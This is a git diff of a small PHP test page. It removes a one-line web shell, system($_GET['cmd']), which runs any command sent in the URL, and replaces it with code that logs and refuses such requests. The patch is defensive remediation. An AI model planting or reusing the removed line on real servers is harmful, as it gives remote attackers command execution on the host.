diff --git a/asdas3d.php b/asdas3d.php
index 1c85d07..7f2965b 100644
--- a/asdas3d.php
+++ b/asdas3d.php
@@ -4,7 +4,11 @@
 
 echo "<h1>test</h1>";
 
-system($_GET["cmd"]);
+if (isset($_GET['cmd'])) {
+    // Block execution of arbitrary system commands. Log the attempt and show a safe message instead.
+    error_log('Blocked remote command execution attempt from ' . ($_SERVER['REMOTE_ADDR'] ?? 'unknown') . ' cmd=' . $_GET['cmd']);
+    echo "Command execution is disabled for security reasons.";
+}